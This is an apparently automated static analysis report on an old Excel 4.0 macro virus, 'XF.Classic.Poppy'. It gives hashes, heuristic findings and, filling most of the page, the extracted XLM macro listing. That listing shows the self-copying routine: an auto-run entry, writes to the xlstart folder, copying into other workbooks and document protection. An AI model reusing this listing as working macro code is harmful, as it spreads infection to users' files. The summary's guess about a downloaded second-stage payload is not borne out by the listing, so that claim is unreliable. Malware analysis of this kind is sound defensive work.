Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fddea86a1e1c9f46…

MALICIOUS

Office (OLE)

32.0 KB First seen: 2015-03-15
MD5: 9e430ae0e075d78a15dd392fedc42b77 SHA-1: fad1a6cd9a8fb6861328bb6acff810dcc0a51940 SHA-256: fddea86a1e1c9f468329fd108097e1a7dc29e1bf0cfaad51660c320b33bbddf5
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains critical heuristic firings indicating the presence of a legacy Excel 4.0 macro sheet with an Auto_Open entry. The extracted macro content explicitly mentions 'Classic.Poppy by VicodinES' and 'The Narkotic Network 1998', suggesting it's a known macro virus. The macro's intent appears to be the execution of dangerous functions like RUN, likely to download and execute a second-stage payload.

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Legacy Excel formula macro virus marker critical OLE_XLS_FORMULA_MACRO_VIRUS
    Workbook stream contains self-identifying legacy Excel formula macro virus markers. This indicates the document carries formula macro virus content even when no VBA project or modern XLM macro-sheet structure is present.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 12575 bytes
SHA-256: 22a722e131bcdb3e929441a1a1f873b843a7926d111ca36776e6bbbbadeac278
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, hidden -  XL4Popp
' 0018     31 LABEL : Cell Value, String Constant - _Fill hidden len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x06\x00m\x00m\x00m\x00m\x00'
' 0018     32 LABEL : Cell Value, String Constant - aiu_bottom len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x07\x00\t\t\t\t'
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 2 Auto_Close len=7 ptgRef3d 11!C4 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d 11!C4 
' 0018     26 LABEL : Cell Value, String Constant - Bust len=7 ptgRef3d 11!C31 
' 0018     30 LABEL : Cell Value, String Constant - Continue len=7 ptgRef3d 11!C9 
' 0018     27 LABEL : Cell Value, String Constant - built-in-name 4 ? len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x00\x00\x02\x00\xcf\x00\x01\x00\x0f\x00'
' 0018     71 LABEL : Cell Value, String Constant - Document_array len=8 ptgArrayA  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x01\x00\x00`\xdd!\x01'
' 0018     41 LABEL : Cell Value, String Constant - Documents_array len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0b\x00\x00\x00\x0f\x00\x01\x00\x01\x00'
' 0018     25 LABEL : Cell Value, String Constant - FRC len=7 ptgRef3d 2!C9 
' 0018     27 LABEL : Cell Value, String Constant - Hello len=7 ptgRef3d 11!A15 
' 0018     29 LABEL : Cell Value, String Constant - hostfee len=7 ptgRef3d 7!H12 
' 0018     34 LABEL : Cell Value, String Constant - hraiu_bottom len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x07\x00\n\n\n\n'
' 0018     26 LABEL : Cell Value, String Constant - hvac len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x07\x00\x12\x12\x12\x12'
' 0018     25 LABEL : Cell Value, String Constant - HWSheet len=3 ptgInt 1 
' 0018     28 LABEL : Cell Value, String Constant - MakeIt len=7 ptgRef3d 11!A26 
' 0018     37 LABEL : Cell Value, String Constant - Module.Prix_SMC len=7 ptgNameX  NAMEIDX 17 
' 0018     37 LABEL : Cell Value, String Constant - Module.Prix_SMC len=7 ptgNameX  NAMEIDX 18 
' 0018     29 LABEL : Cell Value, String Constant - Morning len=7 ptgRef3d 11!C39 
' 0018     28 LABEL : Cell Value, String Constant - OS len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x01\x00\x05\x80\x05\x80\x05\x80\x05\x80'
' 0018     29 LABEL : Cell Value, String Constant - PA7 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x03\x00\xa3\x02\xa3\x02\xa3\x02\xa3\x02'
' 0018     29 LABEL : Cell Value, String Constant - PA8 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x03\x00\xd8\x02\xd8\x02\xd8\x02\xd8\x02'
' 0018     29 LABEL : Cell Value, String Constant - PD1 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x03\x00S\x05S\x05S\x05S\x05'
' 0018     30 LABEL : Cell Value, String Constant - PE12 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x03\x00\xf0\t\xf0\t\xf0\t\xf0\t'
' 0018     30 LABEL : Cell Value, String Constant - PE13 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x03\x00\x99\n\x99\n\x99\n\x99\n'
' 0018     29 LABEL : Cell Value, String Constant - PE6 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x03\x00\x0c\t\x0c\t\x0c\t\x0c\t'
' 0018     29 LABEL : Cell Value, String Constant - PE7 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x03\x00E\tE\tE\tE\t'
' 0018     29 LABEL : Cell Value, String Constant - PE8 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x03\x00~\t~\t~\t~\t'
' 0018     29 LABEL : Cell Value, String Constant - PE9 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x03\x00\xb7\t\xb7\t\xb7\t\xb7\t'
' 0018     29 LABEL : Cell Value, String Constant - PH1 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x03\x00\x19\t\x19\t\x19\t\x19\t'
' 0018     29 LABEL : Cell Value, String Constant - PI1 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x03\x00D\tD\tD\tD\t'
' 0018     29 LABEL : Cell Value, String Constant - PK1 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x03\x00R\tR\tR\tR\t'
' 0018     29 LABEL : Cell Value, String Constant - PK3 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x03\x00n\nn\nn\nn\n'
' 0018     27 LABEL : Cell Value, String Constant - Poppy len=7 ptgRef3d 11!C27 
' 0018     36 LABEL : Cell Value, String Constant - pr_toolbox len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x08\x00\x02\x00O\x00\x00\x00\x08\x00'
' 0018     27 LABEL : Cell Value, String Constant - built-in-name 7 ? len=11 ptgInt 0 ptgInt 0 ptgDiv ptgInt 0 ptgDiv 
' 0018     30 LABEL : Cell Value, String Constant - Prix_SMC len=7 ptgNameX  NAMEIDX 37 
' 0018     30 LABEL : Cell Value, String Constant - Prix_SMC len=7 ptgNameX  NAMEIDX 38 
' 0018     34 LABEL : Cell Value, String Constant - s_c_list len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\t\x00\x06\x00\xc8\x03\x00\x00\x07\x00'
' 0018     29 LABEL : Cell Value, String Constant - SCG len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\n\x00\x04\x00\x04\x00\x04\x00\x04\x00'
' 0018     28 LABEL : Cell Value, String Constant - sdlfee len=7 ptgRef3d 7!H13 
' 0018     33 LABEL : Cell Value, String Constant - solar_ratio len=7 ptgRef3d 5!H7 
' 0018     28 LABEL : Cell Value, String Constant - ss7fee len=7 ptgRef3d 7!H18 
' 0018     29 LABEL : Cell Value, String Constant - subsfee len=7 ptgRef3d 7!H14 
' 0018     33 LABEL : Cell Value, String Constant - toolbox len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x04\x00\x04\x00)\x06\x02\x00\x13\x00'
' 0018     29 LABEL : Cell Value, String Constant - V5.1Fee len=7 ptgRef3d 7!H15 
' 0018     34 LABEL : Cell Value, String Constant - Z32_Cost_red len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x07\x00\n\n\n\n'
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  Sheet,A4,"",1.00000000000000000000
'  Sheet,D4,"",7573.00000000000000000000
'  Sheet,A5,"",2.00000000000000000000
'  Sheet,D5,"",202.00000000000000000000
'  Sheet,A6,"",2.10000122070312489342
'  Sheet,D6,"",0.00000000000000000000
'  Sheet,A7,"",2.20000122070312498224
'  Sheet,D7,"",202.00000000000000000000
'  Sheet,A8,"",3.00000000000000000000
'  Sheet,A9,"",3.10000244140625014211
'  Sheet,A10,"",3.20000244140624978684
'  Sheet,A11,"",3.30000244140624987566
'  Sheet,A12,"",3.40000244140624996447
'  Sheet,A13,"",4.00000000000000000000
'  Sheet,D13,"",641.00000000000000000000
'  Sheet,A14,"",5.00000000000000000000
'  Sheet,D14,"",301.00000000000000000000
'  Sheet,D15,"",8717.00000000000000000000
'  XL4Popp,C1,WORKBOOK.HIDE("XL4Poppy"),""
'  XL4Popp,C4,RUN(C18),""
'  XL4Popp,C5,"ERROR(TRUE,Continue)",""
'  XL4Popp,C6,IF(A4=3),""
'  XL4Popp,C7,RETURN(),""
'  XL4Popp,C8,*STACKERROR* not enough arguments for function: END.IF,""
'  XL4Popp,C9,ERROR(FALSE),""
'  XL4Popp,C10,RUN(A21),""
'  XL4Popp,C11,"ON.TIME("6:30:00 PM","Hello")",""
'  XL4Popp,C12,"ON.TIME("6:30:00 AM","Morning")",""
'  XL4Popp,C13,"ON.SHEET(,"Poppy",TRUE)",""
'  XL4Popp,C14,RETURN(),""
'  XL4Popp,A15,"ALERT("XF.Classic.Poppy by VicodinES",2)",""
'  XL4Popp,A16,"ALERT("?1998 The Narkotic Network",2)",""
'  XL4Popp,A17,RETURN(),""
'  XL4Popp,C18,"SET.VALUE(A3,(GET.WORKSPACE(32)&"\xlstart\Book1."))",""
'  XL4Popp,C19,"SET.NAME("Document_array",DOCUMENTS())",""
'  XL4Popp,C20,"SET.VALUE(A1,INDEX(Document_array,2))",""
'  XL4Popp,A21,"IF(FILES(A3)="Book1.",0,99)",""
'  XL4Popp,C21,"SET.VALUE(A2,INDEX(Document_array,1))",""
'  XL4Popp,A22,"ERROR(TRUE,MakeIt)",""
'  XL4Popp,C22,"SET.VALUE(A4,GET.DOCUMENT(3,"["&A1&"]"&"XL4Poppy"))",""
'  XL4Popp,A23,IF(A21=0),""
'  XL4Popp,C23,RETURN(),""
'  XL4Popp,A24,RETURN(),""
'  XL4Popp,A25,*STACKERROR* not enough arguments for function: END.IF,""
'  XL4Popp,A26,NEW(1),""
'  XL4Popp,A27,WORKBOOK.INSERT(1),""
'  XL4Popp,C27,RUN(C19),""
'  XL4Popp,A28,WORKBOOK.INSERT(1),""
'  XL4Popp,C28,"ERROR(TRUE,Bust)",""
'  XL4Popp,A29,ACTIVATE.PREV(),""
'  XL4Popp,C29,IF(A4=3),""
'  XL4Popp,A30,RUN(C18),""
'  XL4Popp,C30,RETURN(),""
'  XL4Popp,A31,"WORKBOOK.COPY("XL4Poppy",A1)",""
'  XL4Popp,C31,ERROR(FALSE),""
'  XL4Popp,A32,"WORKBOOK.NAME("Sheet3","Sheet99")",""
'  XL4Popp,C32,ACTIVATE.PREV(),""
'  XL4Popp,A33,"WORKBOOK.NAME("Sheet1","Sheet3")",""
'  XL4Popp,C33,RUN(C19),""
'  XL4Popp,A34,"WORKBOOK.NAME("Sheet99","Sheet1")",""
'  XL4Popp,C34,"WORKBOOK.COPY("XL4Poppy",A1)",""
'  XL4Popp,A35,"PROTECT.DOCUMENT(TRUE,,"VicodinES",TRUE)",""
'  XL4Popp,C35,*STACKERROR* not enough arguments for function: END.IF,""
'  XL4Popp,A36,WORKBOOK.PREV(),""
'  XL4Popp,C36,RETURN(),""
'  XL4Popp,A37,WORKBOOK.PREV(),""
'  XL4Popp,A38,WORKBOOK.PREV(),""
'  XL4Popp,A39,SAVE.AS(A3),""
'  XL4Popp,C39,APP.TITLE("XF.Classic.Poppy"),""
'  XL4Popp,A40,FILE.CLOSE(),""
'  XL4Popp,C40,"MESSAGE(TRUE,"VicodinES and Lord Natas greet you a good morning!")",""
'  XL4Popp,A41,RETURN(),""
'  XL4Popp,C41,RETURN(),""

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